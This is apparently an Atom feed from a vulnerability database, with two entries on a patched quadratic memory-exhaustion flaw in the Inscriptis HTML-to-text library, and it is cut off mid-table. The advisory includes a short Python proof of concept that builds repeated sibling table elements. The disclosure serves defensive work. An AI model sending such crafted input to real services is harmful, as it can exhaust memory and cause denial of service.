<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://db.gcve.eu/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-11-21T04:27:17.076845+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>info@gcve.eu</email>
  </author>
  <link href="https://db.gcve.eu" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://db.gcve.eu/vuln/fkie_cve-2026-132277</id>
    <title>fkie_cve-2026-132277</title>
    <updated>2026-11-21T04:27:17.077936+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml">
        <p>Inscriptis is a Python library for converting HTML to text. From 2.0.0 until 2.7.6, when the parent is block-level, table_end_handler() in model/tag/table_tag.py writes each sibling table through HtmlElement.write_verbatim_text() in model/html_element.py; Canvas.open_block() leaves the parent padding_inline prefix on the stack, Canvas.close_block() does not remove it, and only Canvas.close_tag() calls prefix.remove_last_prefix(). Each following sibling table therefore carries forward accumulated indentation, making get_text() output grow quadratically and allowing small attacker-controlled HTML to exhaust memory in applications converting it without authentication or user interaction. This issue is fixed in 2.7.6.</p>
      </div>
    </content>
    <link href="https://db.gcve.eu/vuln/fkie_cve-2026-132277"/>
  </entry>
  <entry>
    <id>https://db.gcve.eu/vuln/ghsa-q87h-c5m7-659j</id>
    <title>GHSA-q87h-c5m7-659j — Inscriptis: Quadratic memory growth from sibling &lt;table&gt; elements in get_text()</title>
    <updated>2026-11-21T04:27:17.078012+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> PyPI: inscriptis</p>
<p># Summary</p>
<p>Every sibling `&lt;table&gt;` adds another level of the parent's indentation, so the size of `get_text()` output grows quadratically with the number of tables. In the measurements below, a 240 KB HTML document produces about 1 billion characters and uses about 1 GB of memory.</p>
<p># Details</p>
<p>`table_end_handler()` (`model/tag/table_tag.py`) writes the rendered table into the parent element with `HtmlElement.write_verbatim_text()` (`model/html_element.py`). For a block-level parent, `write_verbatim_text()` calls `canvas.open_block()`, which pushes the parent's `padding_inline` onto the prefix stack. The following `close_block()` never pops it; only `Canvas.close_tag()` calls `prefix.remove_last_prefix()`. So each table leaves one extra padding entry on the stack.</p>
<p>This has been present since 2.0 (commit 84ec720).</p>
<p>```python
&gt;&gt;&gt; get_text('&lt;ul&gt;' + '&lt;table&gt;&lt;tr&gt;&lt;td&gt;a&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;' * 4 + '&lt;/ul&gt;')
'        a\n        \n            a\n            \n                a\n                \n                    a\n                    '
```</p>
<p># PoC</p>
<p>```python
import sys, time, resource
from inscriptis import get_text</p>
<p>n = int(sys.argv[1])
html = "&lt;ul&gt;" + "&lt;table&gt;&lt;/table&gt;" * n + "&lt;/ul&gt;"
t = time.time(); out = get_text(html)
print(len(html), f"{time.time()-t:.2f}s", len(out), resource.getrusage(resource.RUSAGE_SELF).ru_maxrss // 2**20, "MiB")
```</p>
<p>inscriptis 2.7.5, Python 3.11, macOS (2.0.0 behaves the same):</p>
<p>| tables | HTML | time | output chars | peak RSS |
|---|---|---|---|---|
| 1,00…</p></div>
    </content>
    <link href="https://db.gcve.eu/vuln/ghsa-q87h-c5m7-659j"/>
  </entry>
</feed>
